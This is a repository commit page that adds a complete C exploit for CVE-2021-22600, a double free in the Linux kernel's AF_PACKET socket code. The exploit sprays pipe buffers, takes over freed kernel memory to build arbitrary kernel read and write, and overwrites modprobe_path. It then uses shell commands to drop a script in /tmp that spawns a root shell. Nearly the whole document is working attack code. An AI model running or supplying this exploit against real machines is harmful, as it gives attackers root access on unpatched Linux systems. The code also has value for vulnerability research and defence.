Skip to content

Commit 00ec58f

Browse files
committed
Add exploit for CVE-2021-22600
1 parent 91b5d3d commit 00ec58f

File tree

3 files changed

+450
-0
lines changed

3 files changed

+450
-0
lines changed

CVE-2021-22600/exploit.c

Lines changed: 378 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,378 @@
1+
#define _GNU_SOURCE
2+
#include "exploit.h"
3+
#include <assert.h>
4+
#include <fcntl.h>
5+
#include <linux/if_packet.h>
6+
#include <sched.h>
7+
#include <stdbool.h>
8+
#include <stdint.h>
9+
#include <stdio.h>
10+
#include <stdlib.h>
11+
#include <string.h>
12+
#include <sys/eventfd.h>
13+
#include <sys/ioctl.h>
14+
#include <sys/socket.h>
15+
#include <sys/types.h>
16+
#include <sys/wait.h>
17+
#include <unistd.h>
18+
19+
int fpair[2];
20+
21+
static void setup_sandbox() {
22+
unshare(CLONE_NEWNET | CLONE_NEWUSER);
23+
cpu_set_t set;
24+
CPU_ZERO(&set);
25+
CPU_SET(0, &set);
26+
CHECK(sched_setaffinity(getpid(), sizeof(set), &set) < 0);
27+
}
28+
29+
static void close_prev_fds() {
30+
for (int i = 3; i < 0x9000; ++i) {
31+
if (i != fpair[1])
32+
close(i);
33+
}
34+
}
35+
36+
static void setpipe_sz(struct pipe_rw *p, unsigned int size) {
37+
CHECK(fcntl(p->w, F_SETPIPE_SZ, size));
38+
}
39+
40+
struct pipe_rw *alloc_pipes(exploit_ctx *ctx, int n, bool init_pipes) {
41+
int fd_pair[2];
42+
struct pipe_rw *pipes;
43+
44+
ctx->pipe_data = ctx->pipe_data ? ctx->pipe_data : calloc(1, 0x5000);
45+
pipes = calloc(n, sizeof(*pipes));
46+
47+
for (int i = 0; i < n; ++i) {
48+
CHECK(pipe(fd_pair));
49+
pipes[i].r = fd_pair[0];
50+
pipes[i].w = fd_pair[1];
51+
setpipe_sz(&pipes[i], pipesz(256));
52+
}
53+
54+
if (!init_pipes)
55+
goto pipe_alloc_ret;
56+
57+
for (int i = 0; i < n; ++i) {
58+
if (i < (n - 0x30)) {
59+
CHECK(write(pipes[i].w, ctx->pipe_data, 0x2002));
60+
}
61+
CHECK(write(pipes[i].w, ctx->pipe_data, 2));
62+
}
63+
64+
pipe_alloc_ret:
65+
return pipes;
66+
}
67+
68+
static void release_pipe(struct pipe_rw *p) {
69+
close(p->r);
70+
close(p->w);
71+
}
72+
73+
static int fionread(int fd) {
74+
int len = -1;
75+
while (ioctl(fd, FIONREAD, &len) < 0)
76+
usleep(1000);
77+
return len;
78+
}
79+
80+
static void release_dup_page(exploit_ctx *ctx, struct pipe_rw *p,
81+
struct pipe_rw *q) {
82+
char tmp[0x100];
83+
setpipe_sz(q, pipesz(256));
84+
read(p->r, tmp, 0x100 - 8);
85+
ctx->corrupt = q;
86+
}
87+
88+
static void eventfd_reclaim(exploit_ctx *ctx) {
89+
for (int i = 0; i < NUM_EVFD; ++i)
90+
ctx->evfds[i] = CHECK(eventfd(0x13370000 + i, 0));
91+
CHECK(read(ctx->corrupt->r, ctx->pipe_data, 0x1000)); // Release page
92+
CHECK_V(read(ctx->corrupt->r, ctx->pipe_data, 0x78), 0x78);
93+
94+
if ((ctx->pipe_data_qw[2] >> 0x10) != 0x1337) {
95+
puts("[-] Exploit Failed. Retrying...");
96+
int pid = fork();
97+
if (!pid) {
98+
exploit(); // Can be improved, but seems to be very stable
99+
exit(0);
100+
}
101+
wait(NULL);
102+
exit(0);
103+
}
104+
105+
ctx->eventfd_idx = ctx->pipe_data_qw[2] - 0x13370000;
106+
ctx->page_addr = ctx->pipe_data_qw[1] - 0x8LL;
107+
ctx->page_offset = ctx->page_addr & ~(0x3fffffff);
108+
printf("[+] Page addr: %#lx\n", ctx->page_addr);
109+
printf("[+] Page offset: %#lx\n", ctx->page_offset);
110+
}
111+
112+
static void realloc_page(exploit_ctx *ctx) {
113+
ctx->pipes = alloc_pipes(ctx, 160, false);
114+
115+
for (int i = 0; i < 32; ++i)
116+
close(ctx->evfds[ctx->eventfd_idx + i]);
117+
for (int i = 0; i < 160; ++i)
118+
setpipe_sz(&ctx->pipes[i], 0x1000);
119+
for (int i = 0; i < 160; ++i)
120+
write(ctx->pipes[i].w, ctx->pipe_data, 3);
121+
122+
CHECK_V(read(ctx->corrupt->r, ctx->pipe_data, 0x78), 0x78);
123+
124+
ctx->pbuf_ops = ctx->pbuf->ops;
125+
ctx->tmp_page = ctx->pbuf->page;
126+
ctx->vmemmap_base = (ctx->pbuf->page & ~(0xfffffffULL));
127+
ctx->kbase = ctx->pbuf_ops - PBUF_OPS_OFF;
128+
129+
printf("[+] Anon pipe buf ops: %#lx\n", ctx->pbuf_ops);
130+
printf("[+] Kbase: %#lx\n", ctx->kbase);
131+
printf("[+] Temporary page from pipe buffer: %#lx\n", ctx->tmp_page);
132+
printf("[+] VMEMMAP base: %#lx\n", ctx->vmemmap_base);
133+
}
134+
135+
uint64_t virt_to_phys(exploit_ctx *ctx, unsigned long x) {
136+
unsigned long y = x - __START_KERNEL_map;
137+
assert(x < y);
138+
139+
return x - ctx->page_offset;
140+
}
141+
142+
#define __pfn_to_page(pfn) (ctx->vmemmap_base + (pfn))
143+
144+
static struct pipe_rw *find_pipe_sz(exploit_ctx *ctx, size_t len) {
145+
for (int i = 0; i < 160; ++i)
146+
if (fionread(ctx->pipes[i].r) == len)
147+
return &ctx->pipes[i];
148+
assert(0);
149+
}
150+
151+
static void setup_rw(exploit_ctx *ctx) {
152+
struct pipe_buffer *corrupting_buf = calloc(2, 0x40);
153+
struct pipe_buffer *corrupt_buf =
154+
(struct pipe_buffer *)((char *)corrupting_buf + 0x40);
155+
156+
corrupting_buf->page =
157+
__pfn_to_page((virt_to_phys(ctx, ctx->page_addr) >> 12) * 0x40);
158+
159+
corrupting_buf->ops = ctx->pbuf_ops;
160+
corrupting_buf->offset = 0x100;
161+
162+
write(ctx->corrupt->w, corrupting_buf, 0x40);
163+
struct pipe_rw *corrupting_pipe = find_pipe_sz(ctx, corrupting_buf->len);
164+
165+
corrupt_buf->page = ctx->tmp_page;
166+
corrupt_buf->len = 0xbad;
167+
corrupt_buf->ops = ctx->pbuf_ops;
168+
169+
corrupting_buf->len = -0x80;
170+
171+
CHECK_V(write(corrupting_pipe->w, (void *)corrupting_buf, 0x80), 0x80);
172+
struct pipe_rw *corrupt_pipe = find_pipe_sz(ctx, corrupt_buf->len);
173+
174+
ctx->corrupt = corrupt_pipe;
175+
ctx->corrupt_buf = corrupt_buf;
176+
ctx->corrupting = corrupting_pipe;
177+
ctx->corrupting_buf = corrupting_buf;
178+
}
179+
180+
static void kread(exploit_ctx *ctx, uint64_t kaddr, char *uaddr,
181+
unsigned int len, enum ktype kreg) {
182+
183+
kaddr = (kreg == KHEAP)
184+
? kaddr
185+
: (ctx->page_offset + ctx->kvoff + kaddr - ctx->kbase);
186+
ctx->corrupt_buf->page =
187+
__pfn_to_page((virt_to_phys(ctx, kaddr) >> 12) * 0x40);
188+
ctx->corrupt_buf->offset = (unsigned int)(kaddr & 0xfffLL);
189+
ctx->corrupt_buf->len = 0x1000 - ctx->corrupt_buf->offset;
190+
191+
CHECK_V(write(ctx->corrupting->w, (void *)ctx->corrupting_buf, 0x80), 0x80);
192+
CHECK_V(read(ctx->corrupt->r, uaddr, len), len);
193+
}
194+
195+
static void kwrite(exploit_ctx *ctx, uint64_t kaddr, char *uaddr,
196+
unsigned int len, enum ktype kreg) {
197+
kaddr = (kreg == KHEAP)
198+
? kaddr
199+
: (ctx->page_offset + ctx->kvoff + kaddr - ctx->kbase);
200+
ctx->corrupt_buf->page =
201+
__pfn_to_page((virt_to_phys(ctx, kaddr) >> 12) * 0x40);
202+
ctx->corrupt_buf->offset = 0;
203+
ctx->corrupt_buf->len = (unsigned int)(kaddr & 0xfffLL);
204+
205+
CHECK_V(write(ctx->corrupting->w, (void *)ctx->corrupting_buf, 0x80), 0x80);
206+
CHECK_V(write(ctx->corrupt->w, uaddr, len), len);
207+
}
208+
209+
static void find_kvoff(exploit_ctx *ctx) {
210+
uint64_t startup_qw = 0;
211+
while (1) {
212+
kread(ctx, ctx->page_offset + ctx->kvoff, (char *)&startup_qw, 8, KHEAP);
213+
if (startup_qw != STARTUP_QW) {
214+
ctx->kvoff += 0x10000;
215+
continue;
216+
}
217+
break;
218+
}
219+
printf("[+] Kvoff: %#lx\n", ctx->kvoff);
220+
}
221+
222+
static void exploit() {
223+
int fd;
224+
exploit_ctx *ctx;
225+
struct pipe_rw *pipes, *pipes2;
226+
227+
setup_sandbox();
228+
close_prev_fds();
229+
230+
fd = CHECK(socket(AF_PACKET, SOCK_RAW, 0));
231+
ctx = calloc(1, sizeof(*ctx));
232+
233+
/**
234+
* Create NUM_PIPES pipefds and resize each to 0x4000.
235+
* The pipe_inode_info structure is allocated for each pipefd.
236+
* This structure stores a circular list of pipe_buffer structures each
237+
* consisting of a page for storing associated data. The size of the circular
238+
* list is sizeof(pipe_buffer) * num_pages = 64 * 4 = 256. All pipe_buffers
239+
* are allocated from the kmalloc-256 cache after the resize.
240+
**/
241+
242+
pipes = alloc_pipes(ctx, NUM_PIPES, true);
243+
244+
// Swicth to TPACKET_V3
245+
CHECK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3},
246+
sizeof(int)));
247+
248+
// Allocate rx_owner_map - kmalloc-2048
249+
union tpacket_req_u treq = {};
250+
treq.req3.tp_block_size = 0x1000;
251+
treq.req3.tp_block_nr = 0x410 / 8;
252+
treq.req3.tp_frame_size = 0x1000;
253+
treq.req3.tp_frame_nr = 0x410 / 8;
254+
CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq)));
255+
256+
/**
257+
* Allocate pipe_buffers and resize to 0x20000. (size = 64 * 32 = 2048)
258+
* Buddy allocator allocates new slabs for kmalloc-2048.
259+
**/
260+
261+
pipes2 = alloc_pipes(ctx, 0x90, false);
262+
for (int i = 0; i < 0x90; ++i)
263+
setpipe_sz(&pipes2[i], pipesz(2048));
264+
265+
/**
266+
* Free pipe_buffers for reallocation.
267+
* Don't free all so that the slab doesn't get freed.
268+
**/
269+
for (int i = 0; i < 0x90; ++i)
270+
if (i & 4)
271+
release_pipe(&pipes2[i]);
272+
273+
// Free rx_owner_map - kmalloc-2048
274+
memset(&treq, 0, sizeof(treq));
275+
CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq)));
276+
277+
// Realloc rx_owner_map with pipe_buffer
278+
for (int i = 0; i < NUM_PIPES - 0x30; ++i)
279+
setpipe_sz(&pipes[i], pipesz(2048));
280+
281+
/**
282+
* Release the first page for each pipe.
283+
* This is cached at pipe_inode_info->tmp_page.
284+
**/
285+
286+
for (int i = 0; i < NUM_PIPES - 0x30; ++i)
287+
CHECK_V(read(pipes[i].r, ctx->pipe_data, 0x1000), 0x1000);
288+
289+
// Swicth to TPACKET_V2
290+
CHECK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2},
291+
sizeof(int)));
292+
293+
/**
294+
* Double free rx_owner_map
295+
* Hopefully, this was reallocated with the pipe_buffer spray earlier.
296+
**/
297+
treq.req3.tp_block_size = 0x1000;
298+
treq.req3.tp_block_nr = 1;
299+
treq.req3.tp_frame_size = 0x1000;
300+
treq.req3.tp_frame_nr = 1;
301+
CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq)));
302+
303+
// Realloc the pipe_buffer again
304+
for (int i = NUM_PIPES - 0x30; i < NUM_PIPES; ++i)
305+
setpipe_sz(&pipes[i], pipesz(2048));
306+
307+
memset(ctx->pipe_data, 0, 0x1000);
308+
for (int i = NUM_PIPES - 0x30; i < NUM_PIPES; ++i) {
309+
CHECK(write(pipes[i].w, ctx->pipe_data, 0x1000 - 2));
310+
CHECK(write(pipes[i].w, ctx->pipe_data, 0x100));
311+
ctx->pipe_data[0]++;
312+
}
313+
314+
uint64_t corrupt_pipe_idx;
315+
size_t len;
316+
317+
// Find the corrupted pipe_buffer using the length
318+
for (int i = 0; i < NUM_PIPES - 0x30; ++i) {
319+
len = fionread(pipes[i].r);
320+
if (len != 0x1004) {
321+
CHECK(read(pipes[i].r, &corrupt_pipe_idx, 8));
322+
ctx->corrupt = &pipes[i];
323+
break;
324+
}
325+
}
326+
327+
corrupt_pipe_idx += NUM_PIPES - 0x30;
328+
329+
// Release unused pipes
330+
for (int i = 0; i < 0x90; ++i)
331+
if (!(i & 4))
332+
release_pipe(&pipes2[i]);
333+
334+
for (int i = 0; i < NUM_PIPES; ++i) {
335+
if (ctx->corrupt == &pipes[i] || corrupt_pipe_idx == i)
336+
continue;
337+
release_pipe(&pipes[i]);
338+
}
339+
340+
// Two pipe_buffers now have reference to the same page. Release the dup
341+
// pipe_buffer to free the page.
342+
release_dup_page(ctx, ctx->corrupt, &pipes[corrupt_pipe_idx]);
343+
// Reclaim the freed page with a eventfd spray.
344+
eventfd_reclaim(ctx);
345+
realloc_page(ctx);
346+
347+
setup_rw(ctx);
348+
find_kvoff(ctx);
349+
kwrite(ctx, ctx->kbase + MODPROBE_OFF, "/tmp/x", 7, KIMG);
350+
351+
CHECK(write(fpair[1], "a", 1));
352+
while (1)
353+
sleep(0x1000000);
354+
}
355+
356+
void modprobe_to_root() {
357+
system("echo '#!/bin/sh' > /tmp/x; echo 'setsid cttyhack setuidgid 0 "
358+
"/bin/sh' >> /tmp/x");
359+
system("chmod +x /tmp/x");
360+
system("echo -ne '\xff\xff\xff\xff' > /tmp/trigger && chmod 777 "
361+
"/tmp/trigger && /tmp/trigger");
362+
system("sh");
363+
}
364+
365+
int main(void) {
366+
int pid;
367+
char tmp;
368+
369+
CHECK(pipe(fpair));
370+
pid = fork();
371+
if (!pid) {
372+
exploit();
373+
exit(0);
374+
}
375+
376+
read(fpair[0], &tmp, 1);
377+
modprobe_to_root();
378+
}

0 commit comments

Comments
 (0)